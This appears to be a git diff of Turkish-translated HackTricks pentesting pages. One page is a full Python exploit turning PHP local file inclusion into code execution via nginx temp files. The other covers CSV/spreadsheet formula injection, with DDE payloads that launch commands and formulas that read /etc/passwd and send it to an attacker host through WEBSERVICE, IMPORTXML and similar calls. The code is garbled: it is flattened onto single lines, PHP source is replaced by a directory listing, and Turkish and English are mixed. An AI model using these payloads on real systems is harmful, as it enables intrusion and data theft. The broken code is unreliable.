* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>

View file

@ -1,87 +1,5 @@
# LFI2RCE via Nginx temp files # LFI2RCE via Nginx temp files
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **dark-web** destekli bir arama motorudur ve bir şirketin veya müşterilerinin **tehdit altına alınıp alınmadığını** kontrol etmek için **ücretsiz** işlevler sunar.
WhiteIntel'in ana hedefi, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye yazılımı saldırılarıyla mücadele etmektir.
Web sitelerini kontrol edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
{% embed url="https://whiteintel.io" %}
***
## Açık yapılandırma
[**https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* PHP kodu:
\`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (silindi) ... \`\`\` Not: Bu örnekte doğrudan \`/proc/34/fd/15\` dahil edilemez çünkü PHP'nin \`include\` fonksiyonu yolu \`/var/lib/nginx/body/0000001368 (silindi)\` olarak çözecektir ve bu dosya dosya sisteminde mevcut değildir. Bu küçük kısıtlama, şans eseri, bazı dolaylı yollarla aşılabilir: \`/proc/self/fd/34/../../../34/fd/15\` bu da sonunda silinmiş \`/var/lib/nginx/body/0000001368\` dosyasının içeriğini çalıştıracaktır. ## Tam Sömürü \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # nginx'in istemci gövde tamponlama yardımıyla PHP yerel dosya dahil etme (LFI) sömürüsü # ayrıntılar için https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ adresine bakın URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # nginx işçi süreçlerini bul r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx işçi bulundu: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # nginx'in /var/lib/nginx/body/$X oluşturmasını sağlamak için büyük bir istemci gövdesi yükle def uploader(): print('\[+] yükleyici başlatılıyor') while not done: requests.get(URL, data=' //'
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
```
```python
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send\_payload\_multiprocess(requests\_session): # Tüm CPU'ları kullanarak Nginx için yükü istek gövdesi olarak gönderin for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate\_random\_path\_prefix(nginx\_pids): # Bu yöntem, rastgele sayıda ProcFS yol bileşeninden bir yol oluşturur. Oluşturulan bir yol şöyle görünecektir: /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Bayraklar hxp{} olarak formatlanmıştır if "hxp" in d: print("Bayrak bulundu! ") print(d)
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Nginx FD'lerini 10 - 45 arasında bir döngüde tarayın. Dosyalar ve soketler kapandığı için - istek gövdesi FD'sinin bu aralıkta açılması çok yaygındır for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
if **name** == "**main**": print('\[DEBUG] İstek oturumu oluşturuluyor') requests\_session = create\_requests\_session() print('\[DEBUG] Nginx pid'leri alınıyor') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pid'leri: {nginx\_pids}') print('\[DEBUG] Yük gönderimi başlatılıyor') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] FD okuyucuları başlatılıyor') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
```
## Labs
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## References
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="/.gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
You can check their website and try their engine for **free** at:
<div data-gb-custom-block data-tag="embed" data-url='https://whiteintel.io'></div>
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
@ -96,5 +14,61 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
## Vulnerable configuration
[**Example from https://bierbaumer.net/security/php-lfi-with-nginx-assistance/**](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
* PHP kodu:
```php
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Note: One cannot directly include \`/proc/34/fd/15\` in this example as PHP's \`include\` function would resolve the path to \`/var/lib/nginx/body/0000001368 (deleted)\` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: \`/proc/self/fd/34/../../../34/fd/15\` which will finally execute the content of the deleted \`/var/lib/nginx/body/0000001368\` file. ## Full Exploit \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance # see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # find nginx worker processes r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # upload a big client body to force nginx to create a /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //'
```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
``` ```
def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send\_payload\_multiprocess(requests\_session): # Use all CPUs to send the payload as request body for Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate\_random\_path\_prefix(nginx\_pids): # This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Flags are formatted as hxp{} if "hxp" in d: print("Found flag! ") print(d)
def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
if **name** == "**main**": print('\[DEBUG] Creating requests session') requests\_session = create\_requests\_session() print('\[DEBUG] Getting Nginx pids') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Nginx pids: {nginx\_pids}') print('\[DEBUG] Starting payload sending') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Starting fd readers') read\_file\_multiprocess(requests\_session, nginx\_pids)
```
## Laboratuvarlar
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
## Referanslar
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
```

View file

@ -9,20 +9,12 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary> <summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! * [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin. * **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details> </details>
{% endhint %} {% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Formula Injection ## Formula Injection
### Bilgi ### Bilgi
@ -30,7 +22,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
Eğer **girdi** **CSV dosyası** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya) içinde **yansıtılıyorsa**, kullanıcı dosyayı **açtığında** veya kullanıcı excel sayfasındaki bazı **bağlantılara tıkladığında** **çalıştırılacak** Excel **formülleri** ekleyebilirsiniz. Eğer **girdi** **CSV dosyası** (veya muhtemelen **Excel** tarafından açılacak başka bir dosya) içinde **yansıtılıyorsa**, kullanıcı dosyayı **açtığında** veya kullanıcı excel sayfasındaki bazı **bağlantılara tıkladığında** **çalıştırılacak** Excel **formülleri** ekleyebilirsiniz.
{% hint style="danger" %} {% hint style="danger" %}
Günümüzde **Excel, dışarıdan bir şey yüklendiğinde** (birkaç kez) **kullanıcıyı uyaracaktır**; bu, kötü niyetli eylemleri önlemek içindir. Bu nedenle, son yüklemede Sosyal Mühendislik üzerine özel bir çaba sarf edilmelidir. Günümüzde **Excel, dışarıdan bir şey yüklendiğinde** (birkaç kez) **kullanıcıyı uyaracaktır**; bu, kötü niyetli eylemleri önlemek içindir. Bu nedenle, son yük üzerinde Sosyal Mühendislik konusunda özel bir çaba sarf edilmelidir.
{% endhint %} {% endhint %}
### [Kelimeler Listesi](https://github.com/payloadbox/csv-injection-payloads) ### [Kelimeler Listesi](https://github.com/payloadbox/csv-injection-payloads)
@ -44,24 +36,24 @@ DDE ("cmd";"/C calc";"!A0")A0
``` ```
### Hyperlink ### Hyperlink
**Aşağıdaki örnek, son excel sayfasından içerik çıkarmak ve rastgele konumlara istekler yapmak için çok faydalıdır. Ancak, kullanıcının bağlantıya tıklamasını (ve uyarı istemlerini kabul etmesini) gerektirir.** **Aşağıdaki örnek, son excel sayfasından içerik çıkarmak ve rastgele konumlara istekler yapmak için çok faydalıdır. Ancak, kullanıcının bağlantıya tıklaması (ve uyarı istemlerini kabul etmesi) gerekmektedir.**
Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır. Aşağıdaki örnek [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit) adresinden alınmıştır.
Bir Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığının CSV enjeksiyon saldırısı ile istismar edildiğini hayal edin. Saldırganın temel amacı, öğretmenlerin öğrenci bilgilerini yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın uygulamaya kötü niyetli bir yük enjekte etmesini içerir; özellikle öğrenci bilgileri için tasarlanmış alanlara zararlı formüller girerek. Saldırı şu şekilde gelişir: Bir Öğrenci Kayıt Yönetim sisteminde bir güvenlik açığının CSV enjeksiyon saldırısı ile istismar edildiğini hayal edin. Saldırganın temel amacı, öğretmenlerin öğrenci bilgilerini yönetmek için kullandığı sistemi tehlikeye atmaktır. Yöntem, saldırganın uygulamaya kötü niyetli bir yük enjekte etmesini içerir; özellikle öğrenci bilgileri için tasarlanmış alanlara zararlı formüller girerek. Saldırı şu şekilde gelişir:
1. **Kötü Niyetli Yükün Enjeksiyonu:** 1. **Kötü Niyetli Yükün Enjeksiyonu:**
* Saldırgan bir öğrenci detay formu gönderir ancak bir hesap tablolarında yaygın olarak kullanılan bir formül ekler (örneğin, `=HYPERLINK("<malicious_link>","Click here")`). * Saldırgan, bir öğrenci detay formu gönderir ancak genellikle elektronik tablolarında kullanılan bir formül ekler (örneğin, `=HYPERLINK("<malicious_link>","Click here")`).
* Bu formül, bir hiperlink oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen kötü niyetli bir sunucuya işaret eder. * Bu formül, bir hiperlink oluşturmak için tasarlanmıştır, ancak saldırgan tarafından kontrol edilen kötü niyetli bir sunucuya işaret eder.
2. **Tehlikeye Atılan Verilerin Dışa Aktarılması:** 2. **Tehdit Altındaki Verilerin Dışa Aktarılması:**
* Öğretmenler, tehlikeden habersiz, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır. * Öğretmenler, tehlikeden habersiz, verileri bir CSV dosyasına dışa aktarmak için uygulamanın işlevselliğini kullanır.
* CSV dosyasııldığında, hala kötü niyetli yükü içerir. Bu yük, hesap tablosunda tıklanabilir bir hiperlink olarak görünür. * CSV dosyasııldığında, hala kötü niyetli yükü içerir. Bu yük, elektronik tabloda tıklanabilir bir hiperlink olarak görünür.
3. **Saldırının Tetiklenmesi:** 3. **Saldırının Tetiklenmesi:**
* Bir öğretmen, öğrencinin detaylarının meşru bir parçası olduğunu düşünerek hiperlinke tıklar. * Bir öğretmen, öğrencinin detaylarının meşru bir parçası olduğunu düşünerek hiperlinke tıklar.
* Tıkladığında, hassas veriler (hesap tablosundan veya öğretmenin bilgisayarından gelen bilgiler dahil) saldırganın sunucusuna iletilir. * Tıkladığında, hassas veriler (potansiyel olarak elektronik tablodan veya öğretmenin bilgisayarından gelen detaylar) saldırganın sunucusuna iletilir.
4. **Verilerin Kaydedilmesi:** 4. **Verilerin Kaydedilmesi:**
* Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder. * Saldırganın sunucusu, öğretmenin bilgisayarından gönderilen hassas verileri alır ve kaydeder.
* Saldırgan, bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, böylece öğrencilerin ve kurumun gizliliğini ve güvenliğini daha da tehlikeye atar. * Saldırgan, bu verileri çeşitli kötü niyetli amaçlar için kullanabilir, böylece öğrencilerin ve kurumun gizliliği ve güvenliği daha da tehlikeye girmiş olur.
### RCE ### RCE
@ -71,7 +63,7 @@ Belirli yapılandırmalarda veya eski Excel sürümlerinde, Dinamik Veri Değiş
* Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Harici İçerik'e gidin ve **Dinamik Veri Değişimi Sunucu Başlatma** seçeneğini etkinleştirin. * Dosya → Seçenekler → Güven Merkezi → Güven Merkezi Ayarları → Harici İçerik'e gidin ve **Dinamik Veri Değişimi Sunucu Başlatma** seçeneğini etkinleştirin.
Kötü niyetli yükü içeren bir hesap tablosuıldığında (ve kullanıcı uyarıları kabul ederse), yük çalıştırılır. Örneğin, hesap makinesi uygulamasını başlatmak için yük şöyle olur: Kötü niyetli yükü içeren bir elektronik tabloıldığında (ve kullanıcı uyarıları kabul ederse), yük çalıştırılır. Örneğin, hesap makinesi uygulamasını başlatmak için yük şöyle olur:
```markdown ```markdown
=cmd|' /C calc'!xxx =cmd|' /C calc'!xxx
``` ```
@ -81,28 +73,28 @@ Ek komutlar da çalıştırılabilir, örneğin bir dosyayı PowerShell kullanar
``` ```
### Local File Inclusion (LFI) in LibreOffice Calc ### Local File Inclusion (LFI) in LibreOffice Calc
LibreOffice Calc, yerel dosyaları okumak ve veri sızdırmak için kullanılabilir. İşte bazı yöntemler: LibreOffice Calc, yerel dosyaları okumak ve verileri dışarıya sızdırmak için kullanılabilir. İşte bazı yöntemler:
* Yerel `/etc/passwd` dosyasının ilk satırını okuma: `='file:///etc/passwd'#$passwd.A1` * Yerel `/etc/passwd` dosyasının ilk satırını okuma: `='file:///etc/passwd'#$passwd.A1`
* Okunan veriyi saldırgan kontrolündeki bir sunucuya sızdırma: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))` * Okunan verileri saldırgan kontrolündeki bir sunucuya dışarıya sızdırma: `=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Birden fazla satırı sızdırma: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))` * Birden fazla satırı dışarıya sızdırma: `=WEBSERVICE(CONCATENATE("http://<saldırgan IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* DNS sızdırma (okunan veriyi saldırgan kontrolündeki bir DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))` * DNS dışarıya sızdırma (okunan verileri saldırgan kontrolündeki bir DNS sunucusuna DNS sorguları olarak gönderme): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<saldırgan alan adı>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration ### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Google Sheets, OOB veri sızdırma için istismar edilebilecek işlevler sunar: Google Sheets, OOB veri dışarıya sızdırma için istismar edilebilecek işlevler sunar:
* **CONCATENATE**: Dize birleştirir - `=CONCATENATE(A2:E2)` * **CONCATENATE**: Dize birleştirir - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")` * **IMPORTXML**: Yapılandırılmış veri türlerinden veri alır - `=IMPORTXML(CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: RSS veya ATOM beslemelerini alır - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))` * **IMPORTFEED**: RSS veya ATOM beslemelerini alır - `=IMPORTFEED(CONCAT("http://<saldırgan IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)` * **IMPORTHTML**: HTML tablolarından veya listelerinden veri alır - `=IMPORTHTML (CONCAT("http://<saldırgan IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Başka bir elektronik tablodan bir hücre aralığını alır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` * **IMPORTRANGE**: Başka bir elektronik tablodan bir hücre aralığını alır - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Bir hücreye resim ekler - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")` * **IMAGE**: Bir hücreye resim ekler - `=IMAGE("https://<saldırgan IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection ## LaTeX Injection
Genellikle internette bulunan ve **LaTeX kodunu PDF'ye dönüştüren** sunucular **`pdflatex`** kullanır.\ Genellikle internette bulunan ve **LaTeX kodunu PDF'ye dönüştüren** sunucular **`pdflatex`** kullanır.\
Bu program, komut yürütmeyi (dis)engellemek için 3 ana özellik kullanır: Bu program, komut yürütmeyi (izin vermek veya vermemek için) 3 ana özellik kullanır:
* **`--no-shell-escape`**: `\write18{command}` yapısını **devre dışı bırakır**, texmf.cnf dosyasında etkin olsa bile. * **`--no-shell-escape`**: `\write18{command}` yapısını **devre dışı bırakır**, texmf.cnf dosyasında etkin olsa bile.
* **`--shell-restricted`**: `--shell-escape` ile aynı, ancak **önceden tanımlanmış** 'güvenli' bir komut seti ile **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir). * **`--shell-restricted`**: `--shell-escape` ile aynı, ancak **önceden tanımlanmış** 'güvenli' bir komut seti ile **sınırlıdır** (\*\*Ubuntu 16.04'te liste `/usr/share/texmf/web2c/texmf.cnf` içindedir).
@ -198,11 +190,6 @@ Eğer herhangi bir LaTex hatası alırsanız, kötü karakterler olmadan sonucu
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection) * [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/) * [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
